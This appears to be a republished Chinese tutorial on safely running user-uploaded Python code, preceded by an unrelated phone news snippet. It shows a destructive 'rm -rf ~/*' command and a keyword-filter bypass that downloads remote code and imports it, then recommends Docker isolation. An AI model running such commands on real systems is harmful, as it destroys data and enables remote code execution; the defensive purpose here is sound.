Find N3入網(wǎng)：最高支持16+1TB
OPPO將于近期登場(chǎng)的Find N3折疊屏目前已經(jīng)正式入網(wǎng)，型號(hào)為PHN110。本次Find N3在外觀方面相比前兩代有很大的變化，不再是小號(hào)的橫向折疊屏，而是跟別的廠商一樣采用了較為常見的
寫后端的同學(xué)，有時(shí)候需要在網(wǎng)站上實(shí)現(xiàn)一個(gè)功能，讓用戶上傳或者編寫自己的Python代碼。后端再運(yùn)行這些代碼。
涉及到用戶自己上傳代碼，我們第一個(gè)想到的問題，就是如何避免用戶編寫危險(xiǎn)命令。如果用戶的代碼里面涉及到下面兩行，在不做任何安全過濾的情況下，就會(huì)導(dǎo)致服務(wù)器的Home文件夾被清空。
import osos.system('rm -rf ~/*')有人想的比較簡單，直接判斷用戶的代碼里面有沒有os.system、exec、subprocess……這些危險(xiǎn)關(guān)鍵詞不就可以了嗎？
這種想法乍看起來沒有問題，但細(xì)想下，就會(huì)發(fā)現(xiàn)非常天真。如果用戶的代碼像下面這樣寫，你又要如何應(yīng)對(duì)？
import requestscode = requests.get('https://www.kingname.info/dangerous_code').textwith open('dangerous_code.py', 'w') as f: f.write(code)dangerous_module = __import__('dangerous_code')danderous_module.delete_all()其中https://www.kingname.info/dangerous_code對(duì)應(yīng)的代碼如下：
import osdef delete_all(): os.system('rm -rf ~/*')這樣就可以繞過關(guān)鍵字檢查，并成功刪除你的文件了。
如果你的網(wǎng)站本身就是一個(gè)爬蟲管理平臺(tái)，你檢查用戶自定義的代碼時(shí)，肯定不能過濾掉requests這種網(wǎng)絡(luò)請(qǐng)求庫。那么你就很難判斷用戶下載下來的東西是否包含惡意代碼。
而且惡意代碼不一定是刪除你的東西，它完全可以直接把你項(xiàng)目下面的所有代碼打包，上傳到它指定的URL中，這樣就能竊取你網(wǎng)站里面所有代碼。
為了避免這樣的情況發(fā)生，我們就必須找一個(gè)干凈又獨(dú)立的環(huán)境來運(yùn)行用戶的代碼。干凈的環(huán)境能確保惡意代碼沒有東西可以偷，獨(dú)立的環(huán)境能確保他即使刪除了所有文件，也不會(huì)影響到你。
顯然，最簡單直接的辦法，就是使用Docker來運(yùn)行用戶的代碼。而使用Docker并不一定需要在終端使用Shell命令。我們可以使用Docker的Python SDK來實(shí)現(xiàn)構(gòu)建鏡像和運(yùn)行鏡像。
首先，確保你的服務(wù)器上面已經(jīng)有Docker，并且正在運(yùn)行。接下來，安裝Docker SDK：
pip install docker假設(shè)，你把用戶上傳的文件放在了user/<user_id>/upload文件夾下面，那么，首先你需要生成一個(gè)Dockerfile，并把這個(gè)Dockerfile放到upload文件夾中：
from python:3.10run pip install -r requirements.txtcopy . /appworkdir /app當(dāng)用戶添加/修改了第三方庫時(shí)，你只需要更新requirements.txt即可讓鏡像里面的依賴符合用戶的需求。
接下來，我們開始構(gòu)建鏡像并運(yùn)行代碼：
import dockerclient = docker.from_env()client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定義container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他參數(shù))這個(gè)代碼運(yùn)行以后是非阻塞的，會(huì)立刻返回container對(duì)象。當(dāng)你想查看代碼日志時(shí)，執(zhí)行：
container.logs(tail=10) # 顯示最后10行日志就可以看到相關(guān)的日志了。
關(guān)于Docker SDK的更多操作，可以看他的官方文檔：Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]
[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python
本文鏈接：http://www.www897cc.com/showinfo-26-15610-0.html一日一技：如何安全運(yùn)行別人上傳的Python代碼？
聲明：本網(wǎng)頁內(nèi)容旨在傳播知識(shí)，若有侵權(quán)等問題請(qǐng)及時(shí)與本網(wǎng)聯(lián)系，我們將在第一時(shí)間刪除處理。郵件：2376512515@qq.com
上一篇： 多模態(tài)LLM幻覺問題降低30%！業(yè)內(nèi)首個(gè)“啄木鳥”免重訓(xùn)方法誕生
Copyright ? 2016-2023 天津谷騏科技有限公司 版權(quán)所有 sitemap.xml
違法及侵權(quán)請(qǐng)聯(lián)系：2376512515@qq.com 津ICP備18001702號(hào)
津公網(wǎng)安備 12010102000574號(hào)